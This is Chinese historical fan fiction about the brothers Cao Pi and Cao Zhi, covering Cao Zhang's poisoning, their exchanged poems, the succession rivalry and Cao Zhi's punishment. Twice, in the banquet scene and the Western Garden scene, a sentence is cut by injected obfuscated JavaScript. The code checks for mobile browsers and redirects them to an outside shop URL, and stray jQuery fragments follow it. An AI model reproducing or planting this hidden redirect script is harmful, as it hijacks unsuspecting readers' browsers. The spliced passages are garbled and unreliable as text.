《黄初八年雨【丕植】》 1. 絮果 太和元年正月，雨幕如织，大雨滂沱。 窗外北风席卷着冬雨，拍打在雍丘王府的窗纱上，庭院中传来枝干摧折的闷响，偶有冻果坠地，惊起槽下躲雨的飞雀，急促的扑棱振翅声也被风雨吞没。 室角熏炉青烟绕梁，迷迭香枝清苦的气味逸散开来，萦绕在堆积如山的竹简和散乱的缣帛之间。 满室清寂，唯一的热源便是墙角落寞的熏炉，以及案头那盏飘摇不定的孤灯。 一身素白的中年人已跪坐在案前许久，久到手中笔尖的墨都干透了，再也写不出像样的文字。 他终才闭了闭眼，长叹一声，重新蘸了些松墨，提腕在素缣上写下“太和元年”四字。 笔锋刚收，便有雨滴坠落，正打在“太和”二字之上，墨迹晕染开来，大片雨滴将原本的年号模糊成一片。 他静默片刻，缓缓伸手抚过那片再也看不清的年号，雨水竟比案头孤灯残存的火焰还灼人。 “使君。” 一名老苍头躬身趋入，于屏风外立定，声音带着瑟缩：“王文学有要事禀报，被赵监国拦了下来，说……说……” “说什么？”内室声音有些喑哑。 “说朝……”老苍头话音未起，便被一人打断。 “说朝廷的调令下来了，命雍丘王即刻准备，迁往浚仪。” 那人大步流星踏入室内，径直越过屏风，手指抚过屏风边缘精致的云纹，目光不加掩饰地盯着跪坐在席间的素白身影。 见那身影听了消息，依旧维持着提笔的姿势不为所动，赵勘嘴角一撇，将脚边一卷散落的竹简随意踢开。 “还请雍丘王赎罪，臣不知您正在作赋，还请别责怪小人。” 这话听着恭敬，但赵勘却抱胸而立，丝毫不见请罪之样。 “出去。”曹植终于放下了笔，兔毫落在笔搁上发出脆响，并未看他。 赵勘目光一沉，随即又扯出个笑：“雍丘王既然都下令了，那臣岂还有不遵之理？臣这就退下。” 他转身退下，刚走出一步又顿住，侧过半张脸，嘴角噙着轻蔑的笑：“对了，雍丘王可别忘了，记得着人誊抄清楚。臣……可是要一字不落地上报洛阳的。” “我说，出去。” 曹植仍未看他，只盯着素缣上晕开的墨迹，声音淡漠。 赵勘冷哼一声，到底是拂袖转身，乌皮履毫不客气地踏过地上铺展的缣帛，印下黑灰的鞋痕。 行至门边，他再度回头，声音拔高：“还请雍丘王快些准备行装吧！迁府移藩，可误不得时辰！” 屏风外侍立的老苍头早已战战兢兢地伏下身去，待赵勘脚步声走远才敢抬头，看了一眼满地的狼藉，准备上前收拾。 “你也下去吧。” 老苍头闻言如蒙大赦，慌忙行了一礼，逃似地退回风雨回廊。 内室重新归于寂静，只余风雨敲窗，灯芯炸开的微响。 半晌后，曹植缓缓起身，衣衫窸窣，他走到被踢乱的竹简旁蹲下，一卷一卷拾起，依照旧标放好。 而后他拾起那片被践踏的缣帛，指腹拂过弄脏的地方，与那方写坏了的素缣叠在一处，收入匣中。 等一切收拾齐整，他才重新跪坐在案前，迷迭香经过长时间熏燃，气味越发浓郁，清苦中透着一股挥之不去的涩意。 案头孤灯被呼啸漏入的北风吹得左摇右晃，将他素白的身影投在墙上，显得伶仃飘忽。 他将青玉镇石移开，重新铺上一方全新的素缣，抚平褶皱用镇石压稳。 再次提笔，蘸墨，犹豫再三，笔锋悬于缣帛之上微微颤抖，迟迟无法落下。 《慰情赋》…… 究竟是慰何种情？又赋予谁？ 手中笔仿佛重逾千斤，承接着三十六载的繁华与错落。 这场雨终究还是下不停了，伴随着方才赵勘的那句“上报洛阳”，他只觉得浑身疲累困倦。 抬眼，窗外是雨幕连天，记忆中好像也有这样一场大雨，但那时的心境与此时却是截然不同。 案头那点细弱昏黄的火光在他逐渐模糊失焦的记忆里摇曳着，最终化作记忆中黄初四年宫宴上觥筹交错的酒光。 那是一个光华万丈喧嚣非常的雨夜，铜雀台上高阁连云，宫墙将夜雨隔绝在外，成片的烛火映得大殿金碧辉煌，恍如白昼。 这是君臣主宴结束后，专为藩王设的一场家宴。 建始殿内暖如盛夏，陛阶旁两侧的铜兽香炉吞吐着名贵的香炭，将殿外大雨带来的寒意隔绝。 金玉为器，锦绣铺陈，乐师奏着舒缓的雅乐，舞姬身姿曼妙如云中仙子。 美酒佳肴在侧，酒过三巡，本应是兄弟叙话，其乐融融之景。 但后殿突然传来器物倒地的碎裂声，接着是痛苦到极致的低吼。 乐声戛然而止，曹植握紧了手中的酒盏，直直看向后殿。 那是兄长曹丕和二兄曹彰对弈的地方。 在场所有亲王的目光都惊疑不定地投向声音来处。 片刻后，只见两名强壮的内侍，吃力地从后殿抬出一个高大的身影。 那人身着亲王服制，面色青紫，双目圆睁，眼耳口鼻中不断有浓稠的黑血涌出，滴落在大殿上，晕开一滩滩糜烂的黑花。 他的身体不受控制地抽搐着，嘴里发出嗬嗬怪声，像是在极力忍耐着什么，但越是如此，涌出的黑血越多。 内侍抬着他从一众亲王面前走过，粘稠的血液滴了一路，也一滴一滴地砸在所有人心上。 曹丕缓缓从后殿走出，步履从容，他手中拿着一方雪白的丝帕，正慢条斯理地擦拭着手指。 他扫视了一圈在座的诸侯王，将那方沾了零星暗红的帕子随意扔在曹彰流出的血泊旁，面上无悲无喜，甚至都没有多看濒死的兄弟一眼。 一个黄门紧随其后，面向诸侯王躬身一礼：“陛下有谕，任城王常年在外征战，劳苦功高，不想今日突发急症，实乃憾事。陛下仁慈，心甚忧之，特命速送回府，延请良医，尽心医治。” 突发急症？尽心医治？ 曹彰最是骁勇，是兄弟里身体最强健的，怎么会有急症？ 这是一个警告，一个对所有曹氏亲王，尤其是那些掌过兵权、有过声望的曹氏宗亲发出的血淋淋的警告！ 而这位陛下选择用来杀鸡儆猴的鸡，正是与他同出一母，军功最盛，性情最刚猛的弟弟—— 任城王曹彰。 场面一时死寂，四周落针可闻，空气中弥漫着血腥与香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317239|198975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炭混合令人作呕的气味。 直到曹衮最先反应过来，他离席扑跪在地，忍着战栗高呼道：“陛下仁慈！臣……臣感激涕零！” 这时众人才如梦初醒，慌不迭地离席，跪地，衣袍窸窣和环佩撞击响成一团，夹杂着此起彼伏的：“陛下仁慈，臣等感激涕零！” 曹植仍旧在席上，愣愣地看着二兄被抬出去的方向，那里已经没有了人影，只余地面一条蜿蜒的血迹，从后殿一直延伸至殿外。 他手中的酒盏滚落在案几，残余酒液洒出，倾倒在他的朱红绛纱袍上。 他看见了…… 他看见在被抬出去前，曹彰是还有气在的！ 他的二兄，那个曾力博猛虎的二兄，在极度痛苦中曾艰难转动头颅，那双被血污糊住的眼睛，竟然在死死看着他。 他的嘴唇在抽搐中嗫嚅着，像是想说些什么，但剧烈的疼痛让他身形止不住颤抖。 就在即将被抬出殿门时，曹彰仿佛心有不甘，猛地制住身体的痉挛，脖颈青筋暴起，嘴唇竭力开合，朝着自己最疼爱的幼弟做了一个口型。 曹植看懂了，那是一个名字，一个刻进骨血中的名字，亦是此刻悬在头顶的利刃。 他在说：曹丕。 小心曹丕。 曹植只觉眼前一阵眩晕，几乎要喘不过气来。他猛地抬头看向那高高在上的御座。 曹丕正以手支颐地看着下方跪倒一片的弟弟，勾唇轻笑，仿佛刚才被抬出去的，不是他一母同胞并肩长大的亲兄弟，而是一只该被清除的虫豸。 “子建兄！快谢恩啊！” 曹彪急切地伏地低吼，将曹植从惊惧中拉回。 他定定地看着御座上的曹丕，现在坐于御座之上的人，是自己的兄长曹子桓，亦是大魏的帝王曹丕。 自己是曹子建，亦是……鄄城王曹植。 “鄄城王。”侍立在陛阶旁的黄门，居高临下地俯视着还僵坐在席上的曹植，“陛下天恩，体恤任城王，您可有什么不满？” 随着这声质问，御座上的曹丕也将目光移了过来，只一眼，就移开了眼睛，并未言语。 曹植起身，衣袍上未干的酒液随着他的动作滴到地砖上。 “臣……不敢”他撩起衣摆，屈膝跪地，额头磕在地面发出一声钝响，随着一众兄弟一起，“陛下……仁慈，臣感激涕零。” 他保持着叩首的姿势没有抬头，身体微微颤抖着，呼吸变得粗重而艰难。 这太荒谬了，分明……分明不该是这样的！ 分明就在清晨，宫门初开时，他还遇见了二兄，曹彰还拍着他的肩膀笑容爽朗依旧：“子建！看着最近在封地过得不错啊！你我兄弟许久未见，等会宴上定要把酒言欢！” 为什么会变成这样……是因为帝位吗？ “鄄城王？”黄门不耐地催促，在寂静的大殿中尤为明显，“鄄城王？陛下还等着呢。” 就连身边的曹彪也忍不住低呼：“子建兄！求你了，快起来吧！” 曹植充耳不闻，他呆呆看着地面，思绪却飞出了巍峨宫墙，飞到了再也回不去的记忆深处。 那时没有争储，那时阳光正好，那时兄友弟恭，没有猜忌，更没有这满殿的虚伪与血腥…… 2. 兰因 建安十六年，秋，弘农行军。 秋风肃杀，军队自弘农西行，古道两侧峰峦叠嶂，古柏苍松横生，乱石嶙峋处，涧水穿石而过，黄叶积满古道，被车马碾地沙沙作响。 “子建！” 曹植正坐在车架内掩唇咳嗽，身后传来急促的马蹄声，不过片刻，车帘被猛地掀开。 “怎么样了子建？好点没？” 他抬眼望去，映入眼帘的是曹彰刚毅带笑的脸。 曹植将手巾收入袖中，勉强扯出一个笑容：“二兄，没想到这病来得这么急，不碍事的。” 他侧头望向都城方向，目光飞越重重山峦，垂下头，“我就是在想父亲为什么不让兄长一同随军。” “我们三兄弟自小一同长大，兄长文韬武略不在你我之下，却只能留守邺城。”话毕，他又开始咳嗽，这次咳得更汹涌。 曹彰连忙拍他后背顺气，没好气道：“平时你和大兄关系好也就罢了，怎么如今都分开了，还句句不离大兄。” “再说了，我们兄弟一文一武，一起去随父亲西征马超不好吗？大兄留守，那自是父亲的安排。”曹彰握紧缰绳，目光却瞟向队伍最前方那面迎风招展的曹旗①。 “可……”曹植倚着车壁，像是想说些什么，但又被一阵咳打断。 曹彰看着他这不过一会时间就咳了三次，长叹一口气，低声道：“子建，二兄是属意你的。” 他的目光紧紧盯着曹植，“你之文治不在大兄之下，从小就才名远播，就连父亲也多次在人前称赞你之才学，我一介武夫就算了，你……你合该争一争的。” 他说的情真意切，而车厢内的曹植却一直扶着头，像是在走神，转头疑问道：“你刚才说什么？二兄。” 曹彰看着自己这自小聪慧的三弟，却在这种事上看不明白，沉默片刻后准备再说一遍。 “我说，你……” 然而他还未说完，就被曹植又一阵比以往更猛烈的咳嗽打断。 曹植手扶车辕，虚弱地倚靠在车帘旁：“二兄见谅，我实在是不太舒服，先前医师说了，我这病见不得风的。” 曹彰深深看了他一眼，终究是放下了车帘，声音透过竹编闷闷传来：“子建，那你保重身体，二兄等你好点再来看你。” 他说完一夹马肚向队伍前列奔去，马蹄声渐去渐远，融入大军行进的喧嚣。 曹植等曹彰走远才缓缓直起身，从座下拿出一卷竹简与笔墨，回头望向邺城方向，眼中是化不开的思念。 半晌后他提笔写下： 建安十六年，大军西讨马超，公子留监国，植时从焉。意有忆恋，遂作离思赋云： 在肇秋之嘉月，将曜师而西旗。 余抱疾以宾从，扶衡轸而不怡。 …… 愿我君之自爱，为皇朝而宝己。 水重深而鱼悦，林修茂而鸟喜。② 最后一笔落下，他望着“愿我君之自爱”六字，怔愣良久。 随即一笑将竹简收好，叫了一名随侍上前。 刚准备将竹简交给随侍时又顿住，犹豫片刻后又重新拿出一方素缣，将《离思赋》重新誊抄一遍。 写罢，才重新将素缣郑重地放入一个双鱼锦盒。 “把这个交到三公子手中。”曹植不放心又低声叮嘱了一遍，“务必亲手交付。” “是，五公子。”随侍不敢怠慢，连忙策马带着锦盒送往邺城方向。 鱼传尺素去，雁寄鸿书来③。 而此时的邺城，曹丕正在伏案处理公务，案头文书堆积如山，自父亲率军西征后，他独自留守监国，常常从清晨忙到深夜。 “公子，五公子遣人送来锦盒。”门外传来近侍禀报声。 曹丕手中笔一顿，抬起头，眼底满是欣喜：“快呈上来。” 双鱼锦盒打开，一展素缣，看着熟悉的字迹，曹丕嘴角不自觉上扬。 手指拂过素缣，想着这是弟弟亲手写就的诗赋，不由得高声喊道：“文和，文和！拿缣笔来！子建来信了！” 贾诩正焦头烂额地看着公文，闻言抬头一看，颇为无语：“这些不都在你案上吗？” 曹丕一愣。低头看向自己书案，果然笔墨缣帛一应俱全，哈哈一笑，也不羞恼，当即拿起笔开始挥毫： 建安十六年，上西征，余居守，老母诸弟皆从，不胜思慕④。 …… 写罢，他小心吹干墨迹，将缣帛装入另一个锦盒，唤来心腹：“速送弘农军中，交予五公子亲启。” 待信使离去，他才重新坐回案前，久久无法平复心神。 窗外秋风萧瑟，天地苍茫，那一篇《离思赋》在心中反复萦绕。 “他病了。” 贾诩抬眼看他，缓声道：“五公子身边自有良医。” 曹丕默然片刻，才轻声说：“我知道，只是……” 他没有将话说完，目光落在案头的另一卷密信上。 那是昨日收到的密报，是关于西征军诸将的动向。 屋外雨声渐密，掩盖了屋内两人的交谈。 ———————— 建安二十二年，秋，邺城西园。 芙蓉池畔秋水澄明，几支晚开的芙蕖在日头下摇曳生姿。 池边水榭轻纱弥漫，案上鲜果珍馐，金樽玉盏。 乐师在远处奏着雅乐，鼓瑟吹笙，乐声悠扬。 曹丕身着深青色常服坐于主座，正手执素缣细细品读。 片刻后他看向席下一人：“季重此赋，笔力甚妙，写尽西园秋景，甚好！” 吴质闻言，起身行礼：“公子谬赞了。” 曹丕挥手道：“此乃私宴，何必拘礼。” 他目光扫向席下众人，吴质，陈群，司马懿，以及随曹植而来的杨修，丁仪兄弟。 最后他将视线落在身侧那人身上。 曹植身着素色锦袍，正含笑看着池中游鱼，察觉到兄长的目光，他转过头来，池水倒映在眼中竟有些波光粼粼。 吴质此时端起一杯酒向主座敬去：“既然公子说不必拘礼，那某有一不情之请。” “说。”曹丕执起酒盏一饮而尽。 吴质意味深长地看了曹植一眼，恭声道：“若说诗赋，此间又有何人能比得上三公子呢？昔日铜雀台赋，震惊四座，更有明王⑤多次在人前称赞‘最可定大事’。不知今日可否有幸，再睹三公子即兴之作呢？” 此言一出，周遭人声静了一瞬。 杨修皱起眉头，正要开口，却见曹植已起身移步案前。 “这有何难？”曹植含笑看向主座曹丕，“臣弟亦有一诗，请兄长与诸君一观。” 他取笔蘸墨行云流水，不过片刻，一首《公宴》诗已成： 公子敬爱客，终宴不知疲。 清夜游西园，飞盖相追随。 明月澄清景，列宿正参差。 秋兰被长坂，朱华冒绿池。 潜鱼跃清波，好鸟鸣高枝。 神飚接丹毂，轻辇随风移。 飘飖放志意，千秋长若斯⑥。 待诗成，近侍上前将诗作呈于曹丕案上。 他反复品读，读到“潜鱼跃清波，好鸟鸣高枝”时，眼中闪过一丝复杂神情。 他抬眸看向曹植，扬声道：“子建此诗，气格高迈，风骨朗然，真佳构也！” 众人传看，杨修亦抚掌而叹：“三公子天才秀出，出口成章，令人叹服，真不愧明王所赞！” 一时水榭之上争相称颂，笑语相和。 曹植将笔放回笔搁，坐回曹丕身侧，两人相视一笑，举杯共饮。 吴质将一切尽收眼底，向一旁的侍女使了个眼色。 那侍女微微颔首，端着酒壶向曹丕走去。 她在倒酒时不小心将酒水撒在曹丕衣袍上，连忙跪下请罪：“公子饶命！公子饶命！奴婢不是故意的！” “无事。”曹丕扬袖看了一眼衣袍上的酒渍，神色平静：“你下去吧，吾自去换身衣袍便好。”说完便离席向偏殿走去。 曹植见他离席时将腰间的一块玉玦遗落，便俯身拾起。 “失陪。”曹植向席间诸人微微颔首，起身追去，却没注意吴质一闪而过的慌张。 西园后径曲径通幽，曹植穿过回廊，刚走到更衣的偏殿，便听见里面有压低的争吵声传出。 “公子，不能再犹豫了！” 这是陈群的声音。 “不要再说了，子建并无夺位之心。”曹丕的声音平静中夹杂着疲惫。 “是！”陈群见曹丕还是如此，不由得提高音量：“公子，就算三公子没有夺位之心，那魏王呢？卞夫人⑦呢？鄢陵侯呢？明王已经多次在人前称赞三公子‘最可定大事’，卞夫人又素来偏疼幼子，鄢陵侯骁勇善战，他的态度您不是不知道！” 曹丕沉默片刻，才缓缓道：“父亲爱惜子建文采，母亲自小疼爱幼弟，都属人之常情，至于子文……”他顿了顿，“他人之心，我亦无法左右。” “您若是魏王世子，便可左右！” 陈群深吸一口气，声音压得更低，“说句不恭敬的，现在这个时候，三公子就算不想争，他能做得了主吗？他身后的人答应吗？” “今日席上，杨德祖与吴季重的明争暗斗，您不是看不出来！那杨修背后是谁？是丁仪兄弟！是弘农杨氏和汝南袁氏！他们将宝押注在三公子身上，又岂会轻易罢手？！”说完陈群深深一揖到底。 殿内陷入长久的寂静，秋风穿过回廊，吹动檐下铁马，叮咚作响。 “公子！”陈群没有起身，声音里带着痛惜，“魏王年事已高，西征归来后，立嗣之事必定提上日程。您现在手握监国之权，正是大好时机。若犹豫再三，等到三公子羽翼丰满，到时候兄弟阋墙，恐怕就由不得您了！” 曹丕闭了闭眼，“子建他……不会的。” “‘潜鱼跃清波，好鸟鸣高枝’，昔年袁本初与袁公路，难道生来就想骨肉相残吗？”陈群的声音依旧没有松动，“时势所迫，身不由己。公子，您要早下决断啊！” 殿外，曹植手握玉玦，指节已经捏的发白，他靠在廊柱上，听着池畔边笑声隐隐传来，对比着殿内的死寂，也闭上了双眼。 许久后，他听见了曹丕沙哑的声音。 “我知道了。” 手中玉玦上属于兄长的温度早已散尽，他想起很多年前，在鄄城的老宅里，曹丕手把手教他写字。 那时阳光正好，槐花簌簌落下，沾了他们一身，兄长的大手握着他的小手，一笔一划写下：兄弟既具，和乐且孺⑧。 脚步声从殿内传来，曹植猛然睁开眼，迅速退回回廊后。 他看见曹丕已经换上一身玄色深衣走出偏殿，脸上也恢复了往日的从容，只眉眼间有一丝化不开的倦色，而陈群跟在他的身后。 等两人走远，曹植才从回廊阴影里走出。 他摊开手掌，那枚玉玦静静躺在手中，他本该上前归还，但却立在原地动弹不得。 最终他将玉玦收入袖中，转身向芙蓉池畔走去。 宴席依旧热闹，丝竹管弦悠扬，曹丕已经回到主位，正与吴质说着什么。 曹植入席时两人眼神交汇，曹丕笑问道：“子建，你方才去哪了？” 曹植垂下眼帘，举杯将杯中残酒饮尽，侧头恢复了从前的亲昵：“这酒太烈，我有些眩晕，出去走走醒一醒酒罢了。” 池中芙蕖在秋风中摇曳， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317240|198975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一瓣嫣红终于坚持不住，飘然落入水中。 宴席散去，曹丕搀扶着曹植走到车架旁。 “先送临淄侯回府。” 他将已经醉得不省人事的曹植扶上车架，向驾车随侍吩咐道，随后自己也上了车，落座在曹植身侧。 车帘落下，将外界的喧嚣阻隔开，曹丕闭目静坐，车轮倾轧石板发出辘辘声，像是在丈量某种不可转圜的距离。 许久，他睁眼看向曹植，曹植正撑着头闭目睡熟，俨然一副醉酒已深的模样。 月光透过帘隙撒在他的脸上，眉目如画，嘴角含笑，即使正在沉睡，也仿佛含着笑意。 曹丕不言，这张笑相生来便带着的明朗，曾经不知照亮过自己多少晦暗岁月。 他自小就是爹不疼娘不爱的，从前大哥曹昂还在时，那是人心所向，他也从未有过争储之心。 后来曹昂战死，他尚且苟且偷生，也终于被父亲重视，作为继承人培养。 可曹冲的出现，让他仿佛成了一个随手可扔的物件，又被放到一边。 再后来，曹冲病逝，他去安慰父亲，父亲所说的那句话至今都在心底，使之钝痛不已。 “此我之不幸，而汝曹之幸也。” 他一次又一次被拿起，又一次又一次被放下。 现在，他的才能终于又被父亲看见，可……这次与他争的，是曹植，是自己这个从小相伴的骨肉血亲。 曹丕看了良久，终究是挪近了些，小心翼翼地将弟弟的头靠在自己肩膀上。 等曹植睡安稳后，他才掀开车帘一角。 邺城的夜，繁华落尽后只余空寂。他曾无数次与子建并肩走过这些街巷。 那些笑声，那些诗酒唱和，那些毫无芥蒂的时光，是否也如同窗外飞掠的街景，一去不可追呢？ 父亲日益斑白的鬓发，母亲的偏爱，席间的明争暗斗，陈群的推心置腹…… 棋局已然摆开，执子者却未必是他们自己。 放下车帘，车内重归昏暗，曹丕的目光再次落在曹植脸上。 他看见一缕发丝从曹植额前滑落，手指微微一动，几乎是下意识就想替他拨开。 但指尖在即将碰触到的时候，又默然停住。 最终悬在半空的手缓缓收回，垂于身侧。 车内静得可怕，唯有两人的呼吸声，那些未知的情愫最终化作一声叹息。 “子建。”他声音很低，与其说是说给身旁人听的，不如说是说给自己，“我们都是被摆在台面上的棋子。兄长能做的，或许……只有尽力护你无虞。” 他顿了顿，目光穿过车壁看向宫城深处。 “至于其他……”他扯出一抹苦笑，“算了，这一切，由不得你……” “……也由不得我。” 自此，车内再无声响，只剩下车轮碾过漫漫长夜。 “公子，临淄侯府到了。” 随侍轻轻叩了叩车辕提醒道。 曹丕这时才恍然回神，发现自己竟然维持着同一个姿势良久，久到半边肩膀都有些发麻。 “知道了，你去府里叫人，就说临淄侯醉得厉害，需要人来服侍。” 他先下了车，而后才转身将曹植扶下车架。 曹植身体靠着他，呼吸间带着淡淡的酒气。 曹丕扶着他的手臂，这是他看着长大的弟弟，曾几何时，还是那个跟在他身后，脆生生叫他兄长的孩童。 临淄侯府的下人提着灯笼匆匆迎出，侍从小心搀扶着曹植走向偌大的临淄侯府，关闭了府门。 曹丕站在原地，夜风拂动他的衣袍，他最终什么都没说，转身上了马车。 “回府。” 等府门关闭后，原本被侍从搀扶着，烂醉如泥的曹植，缓缓直起了身。 眸光在灯笼下更显澄澈，哪还像是酒醉之人。 侍从们惊愕地看着他，却不敢发问。 曹植从袖中拿出那块玉玦，抚摸良久，最后望着车马离去的方向，轻声道： “由得的，兄长。” ———————— 同年，杨修因废簏藏人⑨“诬告”曹丕，惹魏王厌恶。 建安二十二年十月，曹丕被正式册立为魏王世子。 但曹植继承人的身份仍有机会争夺这世子之位。 ———————— 又一年后，临淄侯府的书房内，曹植独自立于窗前，案头是一卷竹简。 上述内容是关于礼仪僭越的，字字句句，皆是大忌。 他静立许久，最终转身，向侍从吩咐道：“备车。” 侍从一惊，看了一眼天色，提醒道：“公子，如今夜已深了，宫门早已下钥，您这是……” “我说，备车。” “是。”侍从从言语中听到了隐隐怒气，不敢再言，连忙从马厩里牵出一匹好马，套车整装。 曹植缓缓来到车架旁，抚摸着马儿光滑的颈背，“踏雪，今日之后，你必万劫不复了……” 他长叹一声，未尽之言没有说完，坐上车架，高声喊道：“开门！” 马蹄声疾驰，直奔皇城司马门方向。 ———————— 建安二十三年，冬。 临淄侯曹植，于夜半时分，在未获任何许可的情况下，私开宫门，擅乘王室车驾，驰骋于帝王专行的司马门御道之上，朝野震动。 魏王曹操震怒，严厉处罚了掌管宫门的公车令，并由此为契机，空前加强了对诸侯王的禁令与约束。 至此，所有诸侯王彻底断绝了通往世子之位的可能。 史书记载：“植尝乘车行驰道中，开司马门出。太祖大怒，公车令坐死。由是重诸侯科禁，而植宠日衰。⑩” 3. 悖慢 黄初二年，春，洛阳嘉福殿。 夜已深了，但殿内依旧烛火通明。 “陛下，幺儿是你的亲弟弟！他不过是醉酒误事，何至于此啊！”卞太后的声音带着哭腔，在大殿内回荡。 曹丕端坐案前，手中朱笔悬在一卷文书上恍若未闻。 那上面写着“醉酒悖慢，劫胁使者，大不敬”，这是灌均的奏报，上书皆是细数曹植的罪状。 “母后在和你说话！”卞太后见他没反应，心头火起，快步上前，以袖拂过桌案。 霎时间竹简、帛书洒落一地，她指着曹丕，胸口气得起伏不定，“你让他进京戴罪，关在从前的侯府也就罢了，怎么还让他跪在嘉福殿侧殿跪这么久？！幺儿从小身子就不好，他是你弟弟！” 曹丕面无表情，弯腰将刚才写到一半关于曹植处置的诏书草稿捡起，仔细掸了掸灰尘，而后才抬眼看向自己盛怒的母亲。 “母后。”他神色平静，“那不是醉酒误事，醉酒悖慢，劫胁使者，您知道这代表着什么吗？” “监国谒者，代表皇权，劫胁使者，即是蔑视朕，蔑视这曹魏江山，这，是死罪。” “死罪？！” 卞太后一时悲愤交加，一手抢过他手中的诏书，掩袖垂泪，“那你就真的忍心处死幺儿？那是你一母同胞的亲弟弟！他可是从小就跟在你身后喊你兄长的啊！” 她哭声凄切，越说越伤心：“你若真要如此，不如连你母后也一起处死算了，让我们母子二人在地下团聚！” “母后。”曹丕看着母亲鬓边新添的白发，放缓了语气，“这是朝堂之事，子建如何处置我自有安排。” 卞太后哭声戛然而止，她放下衣袖，用红肿的眼死死盯着曹丕。 “好，好一个朝堂之事！”她点了点头，声音也冷了下来，“曹子桓，你如今龙椅坐稳了，连血脉亲情都不顾了？” 说罢，她竟直接起身向殿外走去，“我这个做母亲的，没本事劝动陛下，那就去和自己苦命的孩儿跪在一起！就让我同幺儿一起，好好跪求你这个高高在上的帝王开恩！” “母后！”曹丕皱眉，厉声喝道。 他怎么能让卞太后真跪在侧殿，天子之母和获罪诸侯跪在一起，成何体统？ 他起身下令：“来人，送太后回永寿宫安歇。” 门外早已战战兢兢守候多时的内侍闻言，连忙进殿将卞太后团团围住，半请半架地扶着她往外走。 “干什么？！放开我！你们好大的胆子！” 卞太后奋力挣脱，但她哪是这么多内侍的对手。 告罪声不绝于耳：“太后恕罪！太后赎罪！奴等也是奉旨行事。” 卞太后挣脱不得，被架着往外走，突然她回头看向殿内那个玄色身影，声音凄厉。 “曹丕！你这个无心无情之人！你弟弟从前和你是最要好的！你怎么忍心！你怎么忍心啊！” “若幺儿有个三长两短，我也不活了！”这一句卞太后几乎是吼出来的，接着很快就被带离嘉福殿。 曹丕站在原地，只冷眼看着卞太后离去的方向，内侍鱼贯而入，收拾着满地狼藉。 不知站了多久，他只觉得十分疲累，踉跄着走向御榻，竟是直接栽倒上去。 “陛下！”正在收拾的内侍惊呼。 曹丕无力地挥了挥手，闷闷的声音从被里传出：“无事……收拾完，都出去吧。” 内侍们屏息敛气，快速整理完一切后悄然退下。 偌大的嘉福殿最终只剩下他一人，他闭上眼，回想着母亲所说的那句“无心无情”。 无心无情？他苦笑一声，其实……他很羡慕曹植。 哪怕贵为九五之尊，他还是很羡慕那个可以恣意快活，受尽宠爱的弟弟。 父亲欣赏他的文采，多次对他大加赞赏。母亲疼爱他，永远亲昵地唤他幺儿。就连子文，在父亲临终后，也私下劝他夺位，为他谋求。 他想做什么都可以，纵马司马门，是狂放不羁。劫胁使者，是率真性情。 总有理由，总有人护着。 而自己呢？父亲对自己的眼神永远是审视，母亲对自己的称呼早已变成冷冰冰的陛下和曹子桓。 明明自己最应该恨他，可……自己却对他恨不起来。 他每走一步都如同烈火烹油，烧得他连痛呼都做不了。 温情是奢侈，纵情是毒药。 这身龙袍困住的是身为兄长的曹子桓，让他只能以曹丕这个帝王的身份去面对至亲。 好累…… “陛下。” 不知过了多久，内侍声音恭敬地在帐外响起。 曹丕睁开眼，发现自己竟然在疲累中睡去。 他扶着额角坐起，只觉得头痛欲裂：“现下几时了？” “回陛下，亥时了。”内侍上前将厚重的床帐挽起，烛光映照在曹丕憔悴苍白的脸上。 他目光落在层层叠叠的殿门，问道：“临淄侯……还在侧殿？” 内侍躬身答道：“回陛下，临淄侯尚在侧殿戴罪而跪，已……已跪了四个多时辰。” 四个多时辰，从午后跪到深夜…… 曹丕静默住，良久，他才说道：“知道了。” 他重新躺下，内侍极有眼色地上前，准备将床帐放下。 就在帐幔即将闭合时，一只骨节分明的手从里伸出挡住。 “不必放下。” 内侍一愣，随即躬身一礼：“是。”又重新将纱幔卷起绑好，退至榻边。 然而没过片刻，床榻上的曹丕又直接坐起，径自下床，汲着鞋履就往殿外走。 “陛下！”内侍一惊，险些绊倒，连忙从一旁屏风上取下外袍披在曹丕肩头，“陛下，您这是要去哪？外头更深露重的，您万金之躯，可千万不能冻着啊！” “无妨。”曹丕看了一眼身上的外袍，挥退内侍，“朕一个人出去走走，不用跟着。” “这……”内侍僵在原地，进也不是，退也不是，只能眼睁睁地看着曹丕独自离殿。 嘉福殿侧殿，值守的内侍正在打盹，猛然看到陛下亲临，吓得一激灵，刚要慌忙行礼，就被曹丕抬手制止。 他看着殿内那个伏在地上的素衣身影，然后挥了挥手。 内侍们会意，众人悄无声息地退下，远远避开。 殿门未关，夜风穿堂而过，吹动殿内本就不多的烛火，让曹植的身影更显孤伶。 曹丕立于殿外，就这样静静看了很久，久到夜露沾湿他的鬓发。 他的眼神晦暗不明，看着殿内那个一动不动跪伏的人，思绪翻涌。 这种情感太复杂了，是愤怒？失望？还是痛心？亦或者是……心疼？ 最终他还是默默踏入殿内走到曹植身前停下。 “抬起头来。” 地上的人闻言，身体一颤，然后缓缓抬起了头。 烛光下的脸上泪痕斑驳交错，昔日顾盼神飞的眼眸，此刻红肿不堪，布满血丝，内里却无半分怨怼。 他就这样仰望着自己的兄长，眼底泛起水光，一滴泪顺着脸颊落下，滴在青灰的地砖上。 曹丕面色依旧冷淡，仿佛眼前落泪之人，不是他从小护着的亲弟弟，只是一个普通人。 “既然这么怕，为什么还要犯那种错。” 